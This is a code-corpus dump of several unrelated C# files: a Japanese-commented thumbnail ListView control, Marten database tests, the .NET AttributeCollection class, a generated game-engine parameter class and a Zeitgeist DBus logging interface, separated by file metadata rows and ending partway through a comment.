"メソッド" /// <summary> /// インデックスを指定してサムネイルアイテムを取得します。 /// </summary> /// <param name="index">取得するサムネイルのインデックスを表すint。</param> /// <returns>指定したインデックスのThumbNailItem。</returns> public ThumbNailItem GetThumbNailItem(int index) { if (this.itemList.Count <= index) return null; return this.itemList[index]; } /// <summary> /// 指定した形のサムネイルのみを選択します。 /// </summary> /// <param name="pattern">イメージの形を表すImagePattern列挙型の内の1つ。</param> public void SelectImageByPattern(ImagePattern pattern) { // 選択アイテムをクリア this.SelectedIndices.Clear(); if (!this.VirtualMode) this.SelectedItems.Clear(); foreach (var item in this.itemList) { if (item.ImagePattern == pattern) this.SelectedIndices.Add(item.ItemListIndex); } } /// <summary> /// KeyDownイベントを発生させます。 /// </summary> /// <param name="e">イベントデータを格納しているKeyEventArgs。</param> protected override void OnKeyDown(KeyEventArgs e) { base.OnKeyDown(e); if ((e.KeyCode == Keys.Enter) && (this.SelectedIndices.Count == 1)) this.onItemDoubleClick(new ItemDoubleClickEventArges { TargetItem = this.itemList[this.SelectedIndices[0]] }); } /// <summary> /// ItemDoubleClickイベントを発生させます。 /// </summary> /// <param name="e">イベントデータを格納しているItemDoubleClickEventArges。</param> protected virtual void onItemDoubleClick(ItemDoubleClickEventArges e) { this.ItemDoubleClick(this, e); } /// <summary> /// MouseDoubleClickイベントを発生させます。 /// </summary> /// <param name="e">イベントデータを格納しているMouseEventArgs。</param> protected override void OnMouseDoubleClick(MouseEventArgs e) { base.OnMouseDoubleClick(e); if (e.Button == MouseButtons.Left) { var info = this.HitTest(e.Location); if ((info != null) && (info.Item != null)) { this.onItemDoubleClick(new ItemDoubleClickEventArges { TargetItem = (ThumbNailItem)info.Item }); } } } /// <summary> /// 全てのサムネイルを選択します。 /// </summary> public void SelectAll() { try { this.BeginUpdate(); if (this.VirtualMode) { this.SelectedIndices.Clear(); foreach (var item in this.itemList) { this.SelectedIndices.Add(item.ItemListIndex); } } else { foreach (var item in this.itemList) { item.Selected = true; } } } finally { this.EndUpdate(); } } /// <summary> /// すべてのサムネイルの情報を取得します。 /// </summary> /// <returns>すべてのサムネイル情報を表すList<ThumbNailItem>。</returns> public List<ThumbNailItem> GetAllThumbNails() { var retList = new List<ThumbNailItem>(); int i = 0; foreach (var item in this.itemList) { var tmpItem = new ThumbNailItem { ImageFilePath = item.ImageFilePath, Name = item.Name }; // 選択状態を取得してセット bool isSelect = false; if (this.VirtualMode) { if (i < this.SelectedIndices.Count) { if (item.Index == this.SelectedIndices[i]) { isSelect = true; i++; } } } else { isSelect = item.Selected; } tmpItem.Selected = isSelect; retList.Add(tmpItem); } return retList; } /// <summary> /// RetrieveVirtualItemイベントを発生させます。 /// </summary> /// <param name="e">イベントデータを格納しているRetrieveVirtualItemEventArgs。</param> protected override void OnRetrieveVirtualItem(RetrieveVirtualItemEventArgs e) { if (this.itemList.Count <= e.ItemIndex) { return; } ThumbNailItem targetItem = this.itemList[e.ItemIndex]; if (!this.imgList.Images.ContainsKey(targetItem.ImageFilePath)) { // サムネイルイメージがImageListに存在しない場合のみ作成して追加 this.imgList.Images.Add(targetItem.ImageFilePath, this.createThumbNailImage(targetItem)); } targetItem.ImageIndex = this.imgList.Images.IndexOfKey(targetItem.ImageFilePath); e.Item = targetItem; base.OnRetrieveVirtualItem(e); } /// <summary> /// 半透明描画用のImageAttributesを取得します。 /// </summary> /// <returns>半透明描画用のImageAttributes。</returns> private ImageAttributes getHalfTransAttributes() { var matrix = new ColorMatrix { Matrix00 = 1, Matrix11 = 1, Matrix22 = 1, Matrix33 = 0.4F, Matrix44 = 1 }; var imgAttr = new ImageAttributes(); imgAttr.SetColorMatrix(matrix); return imgAttr; } /// <summary> /// オーバーレイアイコンを取得します。 /// </summary> /// <returns>オーバーレイアイコンを表すIcon。</returns> private Bitmap getOverlayFromResource() { switch (this.thumbSize) { case ThumbNailSize.MediumImage: return Properties.Resources.systemOverlay_64; case ThumbNailSize.LargeImage: return Properties.Resources.systemOverlay_128; case ThumbNailSize.ExtraLargeImage: return Properties.Resources.systemOverlay_256; default: break; } return null; } /// <summary> /// システム属性マークをオーバーレイ描画します。 /// </summary> /// <param name="graph">描画先のGraphics。</param> private void drawSysFileTypeImage(Graphics graph) { using (var overlay = this.getOverlayFromResource()) { overlay.MakeTransparent(Color.White); graph.DrawImage(overlay, 0, 0, overlay.Width, overlay.Height); } } /// <summary> /// サムネイルのサイズを取得します。 /// </summary> /// <param name="img">スケールを取得するイメージを表すImage。</param> /// <returns>イサムネイルのサイズを表すSize。</returns> private Size getThumbImageSize(Image img) { if ((img.Width <= this.imgList.ImageSize.Width) && (img.Height <= this.imgList.ImageSize.Height)) { return new Size(img.Width, img.Height); } int longSize = Math.Max(img.Width, img.Height); float scale = (float)(this.imgList.ImageSize.Width) / (float)longSize; return new Size((int)(img.Width * scale), (int)(img.Height * scale)); } /// <summary> /// イメージの形を取得します。 /// </summary> /// <param name="img">形を取得するImage。</param> /// <returns>イメージの形を表すImagePattern列挙型の内の1つ。</returns> private ImagePattern getImagePattern(Image img) { var imgWidth = img.Width; var imgHeight = img.Height; if (imgWidth == imgHeight) { return ImagePattern.Square; } else { if (imgHeight < imgWidth) return ImagePattern.Landscape; else return ImagePattern.Portrait; } } /// <summary> /// サムネイルイメージを作成します。 /// </summary> /// <param name="thumbItem">ListViewに追加するThumbNailItem。</param> /// <returns>作成したサムネイルイメージを表すImage。</returns> private Image createThumbNailImage(ThumbNailItem thumbItem) { Image img = null; try { img = Image.FromFile(thumbItem.ImageFilePath); } catch (OutOfMemoryException) { // 画像読込での例外は握りつぶす return null; } thumbItem.ImagePattern = this.getImagePattern(img); Size thumbImgSize = this.getThumbImageSize(img); Bitmap canvas = new Bitmap(this.imgList.ImageSize.Width, this.imgList.ImageSize.Height); using (Graphics graph = Graphics.FromImage(canvas)) { // 背景色をコントロールの背景色で塗りつぶす graph.FillRectangle(new SolidBrush(this.BackColor), 0, 0, this.imgList.ImageSize.Width, this.imgList.ImageSize.Height); var imgX = (this.imgList.ImageSize.Width - thumbImgSize.Width) / 2; var imgY = (this.imgList.ImageSize.Height - thumbImgSize.Height) / 2; // ファイルの属性を取得 var attr = File.GetAttributes(thumbItem.ImageFilePath); if (attr.HasFlag(FileAttributes.Hidden)) // 隠しファイルを半透明で描画 graph.DrawImage(img, new Rectangle(0, 0, thumbImgSize.Width, thumbImgSize.Height), imgX, imgY, img.Width, img.Height, GraphicsUnit.Pixel, this.getHalfTransAttributes()); else // 通常描画 graph.DrawImage(img, imgX, imgY, thumbImgSize.Width, thumbImgSize.Height); if (attr.HasFlag(FileAttributes.System)) // システム属性 this.drawSysFileTypeImage(graph); } return canvas; } /// <summary> /// 対象のイメージファイルかを取得します。 /// </summary> /// <param name="filePath">対象ファイルのパスを表す文字列。</param> /// <returns>対象のイメージファイルかを表すbool。</returns> private bool isTargetImage(string filePath) { // 対象外の拡張子は× string extension = System.IO.Path.GetExtension(filePath); if (!this.extensionList.Exists(ex => (string.Compare(ex, extension, true)) == 0)) { return false; } return true; } /// <summary> /// サムネイルのサイズを取得します。 /// </summary> /// <returns>サムネイルのサイズを表すint。</returns> private int getThumbNailSize() { switch (this.ThumbNailSize) { case ThumbNailSize.MediumImage: return 64; case ThumbNailSize.LargeImage: return 128; case ThumbNailSize.ExtraLargeImage: return 256; default: return 0; } } /// <summary> /// イメージリストを初期化します。 /// </summary> private void initImageList() { // ImageListを初期化 this.imgList = new ImageList(); this.imgList.ColorDepth = this.ThumbNailColorDepth; var imgSize = this.getThumbNailSize(); this.imgList.ImageSize = new Size(imgSize, imgSize); base.LargeImageList = this.imgList; } /// <summary> /// サムネイルビューを初期化します。 /// </summary> private void initThumbNailView() { // イメージリストをクリア base.LargeImageList = null; // リソースを開放 this.disposeResources(); // ImageListを初期化 this.initImageList(); // 選択アイテムを初期化 this.SelectedIndices.Clear(); if (! this.VirtualMode) this.SelectedItems.Clear(); // アイテムを初期化 this.itemList.Clear(); this.itemList = new List<ThumbNailItem>(); base.Items.Clear(); } /// <summary> /// イメージフォルダ内のファイルをサムネイル表示します。 /// </summary> private void showThumbNailImages() { // サムネイルビューを初期化 this.initThumbNailView(); var i = 0; // ファイル名の昇順で表示 foreach (var filePath in System.IO.Directory.GetFiles(this.imgFolderPath).OrderBy(p=> p)) { if (!this.isTargetImage(filePath)) { // 対象外ファイルの場合はスキップ continue; } ThumbNailItem thumbItem = new ThumbNailItem { ImageFilePath = filePath }; if (! this.VirtualMode) { // サムネイルイメージを作成 ※ 通常モードのみ this.imgList.Images.Add(filePath, this.createThumbNailImage(thumbItem)); // 仮想モードの場合はImageKeyがクリアされるので通常モードのみセットする thumbItem.ImageKey = filePath; // Viewに追加 base.Items.Add(thumbItem); } thumbItem.ItemListIndex = i; this.itemList.Add(thumbItem); i++; } if (this.VirtualMode) { // 仮想モードの場合は個数をセット base.VirtualListSize = this.itemList.Count; } } /// <summary> /// 指定したフォルダ内のイメージファイルをサムネイルで表示します。 /// </summary> /// <param name="imageFolderPath">サムネイル表示するファイルの格納先フォルダのパスを表す文字列。</param> /// <param name="thumbSize">サムネイルのサイズを表すThumbNailSize。</param> /// <returns>サムネイルの表示結果を表すThumbNailViewStatus列挙型の内の1つ。</returns> public ThumbNailViewStatus ShowThumbNail(string imageFolderPath, ThumbNailSize thumbSize) { if (!(System.IO.Directory.Exists(imageFolderPath))) { // 指定フォルダが存在しない return ThumbNailViewStatus.ImageFolderNotExists; } this.imgFolderPath = imageFolderPath; this.thumbSize = thumbSize; // 対象の拡張子リストを作成 this.createExtensionList(); // サムネイルイメージを表示 this.showThumbNailImages(); return ThumbNailViewStatus.ThumbNailLoadsFinished; } /// <summary> /// コンポーネントを初期化します。 /// </summary> private void InitializeComponent() { this.SuspendLayout(); this.ResumeLayout(false); } #endregion #region "コンストラクタ" /// <summary> /// デフォルトコンストラクタ。 /// </summary> public elfThumbNailView() : base() { base.HideSelection = false; base.View = View.LargeIcon; } #endregion #region "デストラクタ" /// <summary> /// 使用するリソースをDisposeします。 /// </summary> private void disposeResources() { if (this.imgList != null) { this.imgList.Images.Clear(); this.imgList.Dispose(); this.imgList = null; } } /// <summary> /// ListView によって使用されているリソースを解放します。 /// </summary> /// <param name="disposing">マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。</param> protected override void Dispose(bool disposing) { if (disposing) { this.disposeResources(); } } #endregion } }
23.640662
123
0.66375
[ "Apache-2.0" ]
YouseiSakusen/elfApp
net.elf-mission/WindowsApps/elfThumbNailLib/elfThumbNailView.cs
23,517
C#
using System.Collections.Generic; using System.Linq; using Marten.Testing.Documents; using Marten.Util; using Shouldly; using Xunit; namespace Marten.Testing.Schema { public class table_regeneration_with_new_searchable_fields_Tests { [Fact] public void do_not_lose_data_if_only_change_is_searchable_field() { var user1 = new User {FirstName = "Jeremy"}; var user2 = new User {FirstName = "Max"}; var user3 = new User {FirstName = "Declan"}; using (var store = DocumentStore.For(ConnectionSource.ConnectionString)) { store.Advanced.Clean.CompletelyRemoveAll(); store.BulkInsert(new User[] {user1, user2, user3}); } using (var store2 = DocumentStore.For(_ => { _.Connection(ConnectionSource.ConnectionString); _.Schema.For<User>().Duplicate(x => x.FirstName); })) { using (var session = store2.QuerySession()) { session.Query<User>().Count().ShouldBe(3); var list = new List<string>(); using ( var reader = session.Connection.CreateCommand() .WithText("select first_name from mt_doc_user") .ExecuteReader()) { while (reader.Read()) { list.Add(reader.GetString(0)); } } list.OrderBy(x => x).ShouldHaveTheSameElementsAs("Declan", "Jeremy", "Max"); session.Query<User>().Where(x => x.FirstName == "Jeremy").Single().ShouldNotBeNull(); } } } [Fact] public void do_not_lose_data_if_only_change_is_searchable_field_for_AutoCreateMode_is_CreateOrUpdate() { var user1 = new User { FirstName = "Jeremy" }; var user2 = new User { FirstName = "Max" }; var user3 = new User { FirstName = "Declan" }; using (var store = DocumentStore.For(ConnectionSource.ConnectionString)) { store.Advanced.Clean.CompletelyRemoveAll(); store.BulkInsert(new User[] { user1, user2, user3 }); } using (var store2 = DocumentStore.For(_ => { _.AutoCreateSchemaObjects = AutoCreate.CreateOrUpdate; _.Connection(ConnectionSource.ConnectionString); _.Schema.For<User>().Duplicate(x => x.FirstName); })) { using (var session = store2.QuerySession()) { session.Query<User>().Count().ShouldBe(3); var list = new List<string>(); using ( var reader = session.Connection.CreateCommand() .WithText("select first_name from mt_doc_user") .ExecuteReader()) { while (reader.Read()) { list.Add(reader.GetString(0)); } } list.OrderBy(x => x).ShouldHaveTheSameElementsAs("Declan", "Jeremy", "Max"); session.Query<User>().Where(x => x.FirstName == "Jeremy").Single().ShouldNotBeNull(); } } } } }
33.93578
110
0.469316
[ "MIT" ]
Crown0815/marten
src/Marten.Testing/Schema/table_regeneration_with_new_searchable_fields_Tests.cs
3,701
C#
version https://git-lfs.github.com/spec/v1 oid sha256:8c7f777ffd88075a93545cd125fb7134067bae29cd467f886b4ad46971bc452c size 1969
32.25
75
0.883721
[ "MIT" ]
alex-lushiku/machine-learning-car
PWS/Assets/Standard Assets/Utility/CurveControlledBob.cs
129
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. using System.Reflection; using System.Collections; using System.Diagnostics.CodeAnalysis; namespace System.ComponentModel { /// <summary> /// Represents a collection of attributes. /// </summary> public class AttributeCollection : ICollection, IEnumerable { /// <summary> /// An empty AttributeCollection that can used instead of creating a new one. /// </summary> public static readonly AttributeCollection Empty = new AttributeCollection(null); private static Hashtable s_defaultAttributes; private readonly Attribute[] _attributes; private static readonly object s_internalSyncObject = new object(); private struct AttributeEntry { public Type type; public int index; } private const int FoundTypesLimit = 5; private AttributeEntry[] _foundAttributeTypes; private int _index; /// <summary> /// Creates a new AttributeCollection. /// </summary> public AttributeCollection(params Attribute[] attributes) { _attributes = attributes ?? Array.Empty<Attribute>(); for (int idx = 0; idx < _attributes.Length; idx++) { if (_attributes[idx] == null) { throw new ArgumentNullException(nameof(attributes)); } } } protected AttributeCollection() : this(Array.Empty<Attribute>()) { } /// <summary> /// Creates a new AttributeCollection from an existing AttributeCollection /// </summary> public static AttributeCollection FromExisting(AttributeCollection existing, params Attribute[] newAttributes) { if (existing == null) { throw new ArgumentNullException(nameof(existing)); } if (newAttributes == null) { newAttributes = Array.Empty<Attribute>(); } Attribute[] newArray = new Attribute[existing.Count + newAttributes.Length]; int actualCount = existing.Count; existing.CopyTo(newArray, 0); for (int idx = 0; idx < newAttributes.Length; idx++) { if (newAttributes[idx] == null) { throw new ArgumentNullException(nameof(newAttributes)); } // We must see if this attribute is already in the existing // array. If it is, we replace it. bool match = false; for (int existingIdx = 0; existingIdx < existing.Count; existingIdx++) { if (newArray[existingIdx].TypeId.Equals(newAttributes[idx].TypeId)) { match = true; newArray[existingIdx] = newAttributes[idx]; break; } } if (!match) { newArray[actualCount++] = newAttributes[idx]; } } // Now, if we collapsed some attributes, create a new array. Attribute[] attributes; if (actualCount < newArray.Length) { attributes = new Attribute[actualCount]; Array.Copy(newArray, attributes, actualCount); } else { attributes = newArray; } return new AttributeCollection(attributes); } /// <summary> /// Gets the attributes collection. /// </summary> protected virtual Attribute[] Attributes => _attributes; /// <summary> /// Gets the number of attributes. /// </summary> public int Count => Attributes.Length; /// <summary> /// Gets the attribute with the specified index number. /// </summary> public virtual Attribute this[int index] => Attributes[index]; /// <summary> /// Gets the attribute with the specified type. /// </summary> public virtual Attribute this[Type attributeType] { get { if (attributeType == null) { throw new ArgumentNullException(nameof(attributeType)); } lock (s_internalSyncObject) { // 2 passes here for perf. Really! first pass, we just // check equality, and if we don't find it, then we // do the IsAssignableFrom dance. Turns out that's // a relatively expensive call and we try to avoid it // since we rarely encounter derived attribute types // and this list is usually short. if (_foundAttributeTypes == null) { _foundAttributeTypes = new AttributeEntry[FoundTypesLimit]; } int ind = 0; for (; ind < FoundTypesLimit; ind++) { if (_foundAttributeTypes[ind].type == attributeType) { int index = _foundAttributeTypes[ind].index; if (index != -1) { return Attributes[index]; } else { return GetDefaultAttribute(attributeType); } } if (_foundAttributeTypes[ind].type == null) break; } ind = _index++; if (_index >= FoundTypesLimit) { _index = 0; } _foundAttributeTypes[ind].type = attributeType; int count = Attributes.Length; for (int i = 0; i < count; i++) { Attribute attribute = Attributes[i]; Type aType = attribute.GetType(); if (aType == attributeType) { _foundAttributeTypes[ind].index = i; return attribute; } } // Now check the hierarchies. for (int i = 0; i < count; i++) { Attribute attribute = Attributes[i]; if (attributeType.IsInstanceOfType(attribute)) { _foundAttributeTypes[ind].index = i; return attribute; } } _foundAttributeTypes[ind].index = -1; return GetDefaultAttribute(attributeType); } } } /// <summary> /// Determines if this collection of attributes has the specified attribute. /// </summary> public bool Contains(Attribute attribute) { if (attribute == null) { return false; } Attribute attr = this[attribute.GetType()]; return attr != null && attr.Equals(attribute); } /// <summary> /// Determines if this attribute collection contains the all /// the specified attributes in the attribute array. /// </summary> public bool Contains(Attribute[] attributes) { if (attributes == null) { return true; } for (int i = 0; i < attributes.Length; i++) { if (!Contains(attributes[i])) { return false; } } return true; } /// <summary> /// Returns the default value for an attribute. This uses the following heuristic: /// 1. It looks for a public static field named "Default". /// </summary> protected Attribute GetDefaultAttribute(Type attributeType) { if (attributeType == null) { throw new ArgumentNullException(nameof(attributeType)); } lock (s_internalSyncObject) { if (s_defaultAttributes == null) { s_defaultAttributes = new Hashtable(); } // If we have already encountered this, use what's in the table. if (s_defaultAttributes.ContainsKey(attributeType)) { return (Attribute)s_defaultAttributes[attributeType]; } Attribute attr = null; // Not in the table, so do the legwork to discover the default value. Type reflect = TypeDescriptor.GetReflectionType(attributeType); FieldInfo field = reflect.GetField("Default", BindingFlags.Public | BindingFlags.Static | BindingFlags.GetField); if (field != null && field.IsStatic) { attr = (Attribute)field.GetValue(null); } else { ConstructorInfo ci = reflect.UnderlyingSystemType.GetConstructor(Array.Empty<Type>()); if (ci != null) { attr = (Attribute)ci.Invoke(Array.Empty<object>()); // If we successfully created, verify that it is the // default. Attributes don't have to abide by this rule. if (!attr.IsDefaultAttribute()) { attr = null; } } } s_defaultAttributes[attributeType] = attr; return attr; } } /// <summary> /// Gets an enumerator for this collection. /// </summary> public IEnumerator GetEnumerator() => Attributes.GetEnumerator(); /// <summary> /// Determines if a specified attribute is the same as an attribute /// in the collection. /// </summary> public bool Matches(Attribute attribute) { for (int i = 0; i < Attributes.Length; i++) { if (Attributes[i].Match(attribute)) { return true; } } return false; } /// <summary> /// Determines if the attributes in the specified array are /// the same as the attributes in the collection. /// </summary> public bool Matches(Attribute[] attributes) { if (attributes == null) { return true; } for (int i = 0; i < attributes.Length; i++) { if (!Matches(attributes[i])) { return false; } } return true; } bool ICollection.IsSynchronized => false; object ICollection.SyncRoot => this; int ICollection.Count => Count; IEnumerator IEnumerable.GetEnumerator() => GetEnumerator(); /// <summary> /// Copies this collection to an array. /// </summary> public void CopyTo(Array array, int index) => Array.Copy(Attributes, 0, array, index, Attributes.Length); } }
33.065934
129
0.470505
[ "MIT" ]
ANISSARIZKY/runtime
src/libraries/System.ComponentModel.TypeConverter/src/System/ComponentModel/AttributeCollection.cs
12,036
C#
using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; namespace Polygon.Data { /// <summary> /// Encapsulates historical quote information from Polygon REST API. /// </summary> [SuppressMessage("ReSharper", "UnusedMemberInSuper.Global")] // ReSharper disable once PossibleInterfaceMemberAmbiguity public interface IHistoricalQuote : IQuoteBase<String>, IQuoteBase<Int64>, ITimestamps, IHistoricalBase { /// <summary> /// Gets indicators. /// </summary> IReadOnlyList<Int64> Indicators { get; } } }
29.85
107
0.690117
[ "Apache-2.0" ]
cmoski/Polygon.Data
Interfaces/IHistoricalQuote.cs
599
C#
using AcademyResidentInformationApi.V1.Boundary.Requests; using AcademyResidentInformationApi.V1.Boundary.Responses; namespace AcademyResidentInformationApi.V1.UseCase.Interfaces { public interface IGetAllTaxPayersUseCase { TaxPayerInformationList Execute(QueryParameters qp); } }
27.454545
61
0.817881
[ "MIT" ]
LBHackney-IT/academy-resident-information-api
AcademyResidentInformationApi/V1/UseCase/Interfaces/IGetAllTaxPayersUseCase.cs
302
C#
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ using CsSystem = System; using Fox; namespace Tpp.GameCore { public partial class TppSoldier2Parameter : Fox.Core.DataElement { // Properties public Fox.Core.FilePtr<Fox.Core.File> partsFile; public Fox.Core.FilePtr<Fox.Core.File> motionGraphFile; public Fox.Core.FilePtr<Fox.Core.File> mtarFile; public Fox.Core.FilePtr<Fox.Core.File> extensionMtarFile; public Fox.Core.StringMap<Fox.Core.FilePtr<Fox.Core.File>> vfxFiles = new Fox.Core.StringMap<Fox.Core.FilePtr<Fox.Core.File>>(); // PropertyInfo private static Fox.EntityInfo classInfo; public static new Fox.EntityInfo ClassInfo { get { return classInfo; } } public override Fox.EntityInfo GetClassEntityInfo() { return classInfo; } static TppSoldier2Parameter() { classInfo = new Fox.EntityInfo("TppSoldier2Parameter", new Fox.Core.DataElement(0, 0, 0).GetClassEntityInfo(), 176, null, 3); classInfo.StaticProperties.Insert("partsFile", new Fox.Core.PropertyInfo(Fox.Core.PropertyInfo.PropertyType.FilePtr, 56, 1, Fox.Core.PropertyInfo.ContainerType.StaticArray, Fox.Core.PropertyInfo.PropertyExport.EditorAndGame, Fox.Core.PropertyInfo.PropertyExport.EditorAndGame, null, null, Fox.Core.PropertyInfo.PropertyStorage.Instance)); classInfo.StaticProperties.Insert("motionGraphFile", new Fox.Core.PropertyInfo(Fox.Core.PropertyInfo.PropertyType.FilePtr, 80, 1, Fox.Core.PropertyInfo.ContainerType.StaticArray, Fox.Core.PropertyInfo.PropertyExport.EditorAndGame, Fox.Core.PropertyInfo.PropertyExport.EditorAndGame, null, null, Fox.Core.PropertyInfo.PropertyStorage.Instance)); classInfo.StaticProperties.Insert("mtarFile", new Fox.Core.PropertyInfo(Fox.Core.PropertyInfo.PropertyType.FilePtr, 104, 1, Fox.Core.PropertyInfo.ContainerType.StaticArray, Fox.Core.PropertyInfo.PropertyExport.EditorAndGame, Fox.Core.PropertyInfo.PropertyExport.EditorAndGame, null, null, Fox.Core.PropertyInfo.PropertyStorage.Instance)); classInfo.StaticProperties.Insert("extensionMtarFile", new Fox.Core.PropertyInfo(Fox.Core.PropertyInfo.PropertyType.FilePtr, 128, 1, Fox.Core.PropertyInfo.ContainerType.StaticArray, Fox.Core.PropertyInfo.PropertyExport.EditorAndGame, Fox.Core.PropertyInfo.PropertyExport.EditorAndGame, null, null, Fox.Core.PropertyInfo.PropertyStorage.Instance)); classInfo.StaticProperties.Insert("vfxFiles", new Fox.Core.PropertyInfo(Fox.Core.PropertyInfo.PropertyType.FilePtr, 152, 1, Fox.Core.PropertyInfo.ContainerType.StringMap, Fox.Core.PropertyInfo.PropertyExport.EditorAndGame, Fox.Core.PropertyInfo.PropertyExport.EditorAndGame, null, null, Fox.Core.PropertyInfo.PropertyStorage.Instance)); } // Constructor public TppSoldier2Parameter(ulong address, ushort idA, ushort idB) : base(address, idA, idB) { } public override void SetProperty(string propertyName, Fox.Value value) { switch(propertyName) { case "partsFile": this.partsFile = value.GetValueAsFilePtr(); return; case "motionGraphFile": this.motionGraphFile = value.GetValueAsFilePtr(); return; case "mtarFile": this.mtarFile = value.GetValueAsFilePtr(); return; case "extensionMtarFile": this.extensionMtarFile = value.GetValueAsFilePtr(); return; default: base.SetProperty(propertyName, value); return; } } public override void SetPropertyElement(string propertyName, ushort index, Fox.Value value) { switch(propertyName) { default: base.SetPropertyElement(propertyName, index, value); return; } } public override void SetPropertyElement(string propertyName, string key, Fox.Value value) { switch(propertyName) { case "vfxFiles": this.vfxFiles.Insert(key, value.GetValueAsFilePtr()); return; default: base.SetPropertyElement(propertyName, key, value); return; } } } }
48.194175
350
0.62228
[ "MIT" ]
Joey35233/FoxKit-3
FoxKit/Assets/FoxKit/Fox/Generated/Tpp/GameCore/TppSoldier2Parameter.generated.cs
4,964
C#
/****************************************************************************** * The MIT/X11/Expat License * Copyright (c) 2010 Manish Sinha<mail@manishsinha.net> * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. ********************************************************************************/ using System; using Zeitgeist.Datamodel; using Zeitgeist; using DBus; namespace Zeitgeist.Client { /// <summary> /// Primary interface to the Zeitgeist engine. /// Used to update and query the log. /// It also provides means to listen for events matching certain criteria. /// All querying is heavily based around an “event template”-concept. /// </summary> [DBus.Interface ("org.gnome.zeitgeist.Log")] internal interface ILog { /// <summary> /// Get full event data for a set of event IDs /// Each event which is not found in the event log is represented by the null in the resulting List. /// </summary> /// <param name="eventIds"> /// An array of event IDs. <see cref="T:System.UInt32[]"/> /// </param> /// <returns> /// Full event data for all the requested IDs <see cref="T:Zeitgeist.Datamodel.RawEvent[]"/> /// </returns> RawEvent[] GetEvents(UInt32[] eventIds); /// <summary> /// Search for events matching a given set of templates and return the IDs of matching events. /// Use GetEvents() passing in the returned IDs to look up the full event data. /// The matching is done where unset fields in the templates are treated as wildcards. /// If a template has more than one subject then events will match the template if any one of their subjects match any one of the subject templates. /// The fields uri, interpretation, manifestation, origin, and mimetype can be prepended with an exclamation mark ‘!’ in order to negate the matching. /// The fields uri, origin, and mimetype can be prepended with an asterisk ‘*’ in order to do truncated matching. /// NOTE: /// This method is intended for queries potentially returning a large result set. /// It is especially useful in cases where only a portion of the results are to be displayed at the same time /// (eg., by using paging or dynamic scrollbars), as by holding a list of IDs you keep a stable ordering /// and you can ask for the details associated to them in batches, when you need them. /// For queries yielding a small amount of results, or where you need the information about all results at once no matter how many of them there are, see FindEvents(). /// </summary> /// <param name="range"> /// The TimeRange for the query <see cref="T:Zeitgeist.Datamodel.TimeRange"/> /// </param> /// <param name="eventTemplates"> /// An array of event templates which the returned events should match at least one of. <see cref="T:Zeitgeist.Datamodel.RawEvent[]"/> /// </param> /// <param name="state"> /// Whether the item is currently known to be available <see cref="T:Zeitgeist.Datamodel.StorageState"/> /// </param> /// <param name="maxEvents"> /// Maximal amount of returned events <see cref="T:Zeitgeist.Datamodel.System.UInt32"/> /// </param> /// <param name="resType"> /// The Order in which the result should be made available <see cref="T:Zeitgeist.Datamodel.ResultType"/> /// </param> /// <returns> /// An array containing the IDs of all matching events, up to a maximum of num_events events. /// Sorted and grouped as defined by the result_type parameter. <see cref="T:System.UInt32[]"/> /// </returns> UInt32[] FindEventIds(RawTimeRange range, RawEvent[] eventTemplates, UInt32 state, UInt32 maxEvents, UInt32 resType); /// <summary> /// Get events matching a given set of templates. /// The matching is done where unset fields in the templates are treated as wildcards. /// If a template has more than one subject then events will match the template if any one of their subjects match any one of the subject templates. /// The fields uri, interpretation, manifestation, origin, and mimetype can be prepended with an exclamation mark ‘!’ in order to negate the matching. /// The fields uri, origin, and mimetype can be prepended with an asterisk ‘*’ in order to do truncated matching. /// In case you need to do a query yielding a large (or unpredictable) result set and you only want to show some of the results at the same time (eg., by paging them), use FindEventIds(). /// </summary> /// <param name="range"> /// The TimeRange for the query <see cref="T:Zeitgeist.Datamodel.TimeRange"/> /// </param> /// <param name="eventTemplates"> /// An array of event templates which the returned events should match at least one of <see cref="T:Zeitgeist.Datamodel.RawEvent[]"/> /// </param> /// <param name="state"> /// Whether the item is currently known to be available <see cref="T:Zeitgeist.Datamodel.StorageState"/> /// </param> /// <param name="maxEvents"> /// Maximal amount of returned events <see cref="System.UInt32"/> /// </param> /// <param name="resType"> /// The Order in which the result should be made available <see cref="T:Zeitgeist.Datamodel.ResultType"/> /// </param> /// <returns> /// Full event data for all the requested IDs, up to a maximum of num_events events, sorted and grouped as defined by the result_type parameter. <see cref="T:Zeitgeist.Datamodel.RawEvent[]"/> /// </returns> RawEvent[] FindEvents(RawTimeRange range, RawEvent[] eventTemplates, UInt32 state, UInt32 maxEvents, UInt32 resType); /// <summary> /// Warning: This API is EXPERIMENTAL and is not fully supported yet. /// Get a list of URIs of subjects which frequently occur together with events matching event_templates within time_range. /// The resulting URIs must occur as subjects of events matching result_event_templates and have storage state storage_state. /// </summary> /// <param name="range"> /// The TimeRange for the query <see cref="T:Zeitgeist.Datamodel.TimeRange"/> /// </param> /// <param name="eventTemplates"> /// An array of event templates which you want URIs that relate to. <see cref="T:Zeitgeist.Datamodel.RawEvent[]"/> /// </param> /// <param name="resultEventTemplates"> /// An array of event templates which the returned URIs must occur as subjects of. <see cref="T:Zeitgeist.Datamodel.RawEvent[]"/> /// </param> /// <param name="state"> /// Whether the item is currently known to be available <see cref="T:Zeitgeist.Datamodel.StorageState"/> /// </param> /// <param name="maxEvents"> /// Maximal amount of returned events <see cref="System.UInt32"/> /// </param> /// <param name="resType"> /// The 